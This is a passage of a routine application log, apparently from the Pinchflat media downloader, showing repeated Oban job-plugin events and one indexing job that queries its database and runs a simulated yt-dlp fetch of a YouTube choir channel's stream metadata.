{"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.724 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:07:15.693 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:45.695 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.725 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:08:15.697 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:45.699 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.726 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:09:15.701 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:45.703 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.727 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:10:15.705 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:45.707 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.728 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:11:15.709 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:45.711 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.729 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:12:15.713 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:45.715 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.730 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:13:15.717 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:45.719 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.731 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:14:15.721 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:45.723 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.732 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:15:15.725 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:45.727 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.733 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:16:15.729 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:45.731 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.734 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:17:15.733 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:45.735 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.735 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:18:15.737 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:45.739 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.736 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:19:15.741 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:45.743 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.737 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:20:15.745 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:45.747 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.738 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:21:15.749 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:45.751 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.739 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:22:15.753 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:45.755 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.740 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:23:15.757 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:45.759 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.741 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:24:15.761 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:45.763 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.742 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:25:15.765 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:45.767 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.743 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:26:15.769 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:45.771 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.746 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:27:15.773 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:45.775 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.748 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:28:15.777 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:45.779 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.749 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:29:15.781 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:45.783 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.750 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:30:15.785 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:45.787 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.751 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:31:15.789 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:45.791 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.752 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:32:15.793 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:45.796 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.753 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:33:15.798 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:45.800 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.754 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:34:15.802 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:45.804 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.755 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:35:15.806 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:45.808 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.756 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:36:15.810 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:45.812 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.757 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:37:15.814 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:45.816 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.758 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:38:15.818 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:45.820 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.759 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:39:15.822 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:45.824 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.760 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:40:15.825 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:45.828 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.761 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:41:15.830 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:45.832 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.762 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:42:15.834 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:45.836 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.763 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:43:15.838 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:45.840 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.764 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:44:15.842 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:45.844 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.765 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:45:15.846 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:45.848 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.766 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:46:15.850 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:45.852 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.767 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:47:15.854 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:45.856 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.768 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:48:15.858 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:45.860 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.769 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:49:15.862 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:45.864 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.770 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:50:15.866 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:45.868 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.771 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:51:15.870 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:45.872 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.772 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:52:15.874 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:45.876 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.773 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:53:15.878 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:45.880 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.774 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:54:15.882 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:45.884 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.775 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:55:15.886 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:45.888 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.776 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:56:15.890 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:45.892 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.777 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:57:15.894 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:45.896 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.778 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:58:15.925 [info] {"source":"oban","duration":28839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 10:58:45.928 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.779 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:59:15.930 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:45.932 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.780 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:00:12.494 [info] {"args":{"id":1},"id":2606,"meta":{},"system_time":1765476012494664430,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:00:12.495 [debug] QUERY OK source="sources" db=0.2ms idle=1324.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:12.496 [debug] QUERY OK source="settings" db=0.2ms idle=1030.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:12.499 [debug] QUERY OK source="media_items" db=3.2ms idle=326.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:12.500 [debug] QUERY OK source="media_items" db=0.2ms idle=11.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 11:00:12.500 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:12.501 [debug] QUERY OK source="settings" db=0.1ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:12.501 [debug] QUERY OK source="settings" db=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:12.505 [debug] QUERY OK source="media_items" db=3.0ms idle=2.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 11:00:12.508 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:00:12.508 [debug] Current batch of media processed. Will check again in 1000ms 11:00:12.508 [debug] QUERY OK source="settings" db=0.2ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:12.509 [debug] QUERY OK source="settings" db=0.1ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:12.509 [debug] QUERY OK source="settings" db=0.1ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:12.509 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@thetabernaclechoir/streams --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/tabernacle choir/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/93/bc/93bc38864864bfeac2429f4738a67dbecd3404bc5a3a6d46fff5cebec84c164e.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/44/ec/44ecd32994071b261be0c18115226341db537ace533063c476d7edcbab98bf70.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:13.509 [debug] Current batch of media processed. Will check again in 1000ms 11:00:14.510 [debug] Current batch of media processed. Will check again in 1000ms 11:00:15.511 [debug] Current batch of media processed. Will check again in 1000ms 11:00:15.934 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:16.512 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", "id" => "opR_Tg1uLjc", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=opR_Tg1uLjc", "playlist_index" => 1, "timestamp" => 1765213124, "title" => "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:16.512 [debug] QUERY OK source="sources" db=0.2ms idle=577.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:16.513 [debug] QUERY OK source="sources" db=0.2ms 